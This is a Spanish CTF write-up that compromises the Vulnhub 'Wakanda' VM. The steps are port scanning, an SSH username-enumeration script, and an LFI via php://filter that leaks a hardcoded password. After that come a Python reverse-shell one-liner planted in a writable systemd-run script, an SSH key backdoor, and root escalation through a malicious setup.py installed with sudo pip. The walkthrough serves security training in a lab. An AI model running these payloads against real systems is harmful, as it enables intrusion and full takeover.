Esta web utiliza cookies, puedes ver nuestra política de cookies aquí. Si continuas navegando estás aceptándola

Wakanda


Un CTF mas resuelto, esta vez se trata de un LFI, un servicio de systemd mal configurado y sudo configurado de forma incorrecta permitiendo ejecutar pip.

 

 

Nos bajamos la VM de vulnhub o desde alfaexploit:

https://www.vulnhub.com/entry/wakanda-1,251/

www.alfaexploit.com//uploads/files/VMs/wakanda-1.ova

Escaneamos los puertos con nmap:

NZT48 ☢ /home/kr0m> nmap -sT 192.168.1.2 -p 0-65535
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-10 16:17 CEST
Nmap scan report for 192.168.1.2
Host is up (0.00021s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE
80/tcp    open  http
111/tcp   open  rpcbind
3333/tcp  open  dec-notes
38482/tcp open  unknown
MAC Address: 08:00:27:44:57:EB (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.40 seconds

Hay un ssh en el puerto 333:

NZT48 ✺ ~> curl 192.168.1.2:3333
SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4
Protocol mismatch.

Comprobamos algunos usuarios sacados de la web en base a palabras que aparecen en ella: Made by@mamadou

vi ssh-check-username.py
#!/usr/bin/env python

# Copyright (c) 2018 Matthew Daley
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.

import argparse
import logging
import paramiko
import socket
import sys

class InvalidUsername(Exception):
    pass

def add_boolean(*args, **kwargs):
    pass

old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
        paramiko.common.MSG_SERVICE_ACCEPT]

def service_accept(*args, **kwargs):
    paramiko.message.Message.add_boolean = add_boolean
    return old_service_accept(*args, **kwargs)

def userauth_failure(*args, **kwargs):
    raise InvalidUsername()

paramiko.auth_handler.AuthHandler._handler_table.update({
    paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
    paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})

logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('username', type=str)
args = arg_parser.parse_args()

sock = socket.socket()
try:
    sock.connect((args.hostname, args.port))
except socket.error:
    print '[-] Failed to connect'
    sys.exit(1)

transport = paramiko.transport.Transport(sock)
try:
    transport.start_client()
except paramiko.ssh_exception.SSHException:
    print '[-] Failed to negotiate SSH transport'
    sys.exit(2)

try:
    transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
    print '[*] Invalid username'
    sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
    print '[+] Valid username'
NZT48 ✺ ~> python ssh-check-username.py --port 3333 192.168.1.2 root
[+] Valid username

NZT48 ✺ ~> python ssh-check-username.py --port 3333 192.168.1.2 wakanda
[*] Invalid username

NZT48 ✺ ~> python ssh-check-username.py --port 3333 192.168.1.2 vibranium
[*] Invalid username

NZT48 ✺ ~> python ssh-check-username.py --port 3333 192.168.1.2 mamadou
[+] Valid username

Con curl detectamos un posible LFI:

NZT48 ✺ ~> curl -v 192.168.1.2:80
< Server: Apache/2.4.10 (Debian)
a class="nav-link active" href="?lang=fr"

Probemos manualmente:

NZT48 ✺ ~> curl http://192.168.1.2/?lang=fr
          Prochaine ouverture du plus grand marché du vibranium. Les produits viennent directement du wakanda. Restez à l'écoute!        </p>

Debe de estar haciendo includes del NOMBRE.php pero si incluyo index no sale nada:

NZT48 ✺ ~> curl http://192.168.1.2/?lang=index

En cambio si empleo el truco fllter de php:

wget "http://192.168.1.2/?lang=php://filter/convert.base64-encode/resource=index" -O index

Podemos ver el código fuente del index:

NZT48 ✺ ~> base64 -d index
<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it

if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}

?>

Probemos a utilizar ese password con el usuario mamadou:

NZT48 ✺ ~> ssh mamadou@192.168.1.2 -p3333
Niamey4Ever227!!!

Me entra en un python:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Aug  3 15:53:29 2018 from 192.168.56.1
Python 2.7.9 (default, Jun 29 2016, 13:08:31)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>

Invocamos la shell desde python:

>>> import pty; pty.spawn("/bin/bash")

mamadou@Wakanda1:~$ id
uid=1000(mamadou) gid=1000(mamadou) groups=1000(mamadou)

mamadou@Wakanda1:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
mamadou:x:1000:1000:Mamadou,,,,Developper:/home/mamadou:/usr/bin/python
devops:x:1001:1002:,,,:/home/devops:/bin/bash

Busquemos brechas en el sistema:

wget http://www.securitysift.com/download/linuxprivchecker.py
python linuxprivchecker.py

Este fichero es escrivible:

cat /srv/.antivirus.py
open('/tmp/test','w').write('test')

Hay una unidad de systemd que lo utiliza:

grep -r antivirus /lib/systemd/system/antivirus.service
ExecStart=/usr/bin/env python /srv/.antivirus.py
systemctl list-unit-files
mamadou@Wakanda1:/etc/systemd$ systemctl cat antivirus.service
# /lib/systemd/system/antivirus.service
[Unit]
Description=Antivirus
After=network.target
StartLimitIntervalSec=0

[Service]
Type=simple
Restart=always
RestartSec=300
User=devops
ExecStart=/usr/bin/env python /srv/.antivirus.py

[Install]
WantedBy=multi-user.target

Modificamos el script para que nos sirva una rshell:

NZT48 ✺ ~> nc -l -p 1234
vi /srv/.antivirus.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Como la unidad tiene restart=always, tan solo esperamos 300s(5m):

NZT48 ✺ ~> nc -l -p 1234
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(devops) gid=1002(developer) groups=1002(developer)

Metemos nuestra ssh key para poder acceder de forma mas cómoda:

$ cd /home/devops
mkdir .ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVQnniSdSbjmAtjMfLpj5hjTRz8Xr/5pn7G43cznRXSQ3zCG6QvEqNEOxVkMfvDx+esIaINrecyD388l9gctqrXb13kE7JxQZnXW6rnJcCG96r006nR1sz7bXrj0OGRBIag53MK4fX1MhkJi6bsV4JiOEBB5bnnDvD1YuuO6zEPIl58w4h21JI7R78Zg9nWwAyNBgJsaCq4kyt1g4GpRtil00V0GERMfyKaS3CcjvSHMQKNR8INzW+BCo8KIZCUXdgl7h4qjo0064/1tCWNo6Yv1gtnjxK3nWo6AaC9Cno58RCb0FuRg+GS5LGQuKRXH8NdTYl4KG4usrtfSbO6pCf juanjo@skynet" > .ssh/authorized_keys
NZT48 ✺ ~> ssh devops@192.168.1.2 -p3333
devops@Wakanda1:~$

Seguramente podamos abusar de pip:

devops@Wakanda1:~$ sudo -l
User devops may run the following commands on Wakanda1:
    (ALL) NOPASSWD: /usr/bin/pip

pip tiene el setuid bit habilitado:

    -rwxr-sr-- 1 root developer 281 Feb 27  2015 /usr/bin/pip

Si conseguimos instalar un paquete de pip seguramente tengamos root:
https://python-packaging.readthedocs.io/en/latest/

Vamos a generar nuestro paquete:

mkdir kr0mRS
cd kr0mRS
mkdir kr0mRS
cd kr0mRS
vi __init__.py
def rs():
    import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

cd ..
vi setup.py
from setuptools import setup

setup(name='kr0mRS',
      version='0.1',
      description='kr0mRS',
      url='http://github.com/kr0m/RS',
      author='kr0m',
      author_email='kr0m@alfaexploit.com',
      license='MIT',
      packages=['kr0mRS'],
      zip_safe=False)

Ponemos a la escucha un netcat:

NZT48 ✺ ~> nc -l -p 1234

Instalamos mediante pip nuestro paquete:

devops@Wakanda1:~/kr0mRS$ sudo pip install .
Unpacking /home/devops/kr0mRS
  Running setup.py (path:/tmp/pip-AIC4WL-build/setup.py) egg_info for package from file:///home/devops/kr0mRS
    
Installing collected packages: kr0mRS
  Running setup.py install for kr0mRS
    
Successfully installed kr0mRS
Cleaning up...

Importamos la librería y ejecutamos la función rs:

devops@Wakanda1:~/kr0mRS$ python
>>> import kr0mRS
>>> kr0mRS.rs()

Y obtenemos nuestra shell pero con el usuario devops:

NZT48 ✺ ~> nc -l -p 1234
id
/bin/sh: 0: can't access tty; job control turned off
$ uid=1001(devops) gid=1002(developer) groups=1002(developer)

Esto es debido a que solo la parte de setup del paquete es ejecutada como root, por lo tanto debemos poner en el setup el código de la RS:

vi setup.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

from setuptools import setup

setup(name='kr0mRS',
      version='0.1',
      description='kr0mRS',
      url='http://github.com/kr0m/RS',
      author='kr0m',
      author_email='kr0m@alfaexploit.com',
      license='MIT',
      packages=['kr0mRS'],
      zip_safe=False)

Volvemos a poner nuestro netcat a la escucha:

NZT48 ✺ ~> nc -l -p 1234

Ahora no hace falta importar la librería ni ejecutar la función ya que el setup se ejecuta de forma automática cuando se instala el paquete de pip:

devops@Wakanda1:~/kr0mRS$ sudo pip install .
Unpacking /home/devops/kr0mRS
  Running setup.py (path:/tmp/pip-7PvLGw-build/setup.py) egg_info for package from file:///home/devops/kr0mRS

Y recibimos la shell de root:

NZT48 ✺ ~> nc -l -p 1234
# id
uid=0(root) gid=0(root) groups=0(root)

Autor: Kr0m -- 07/10/2018 22:42:37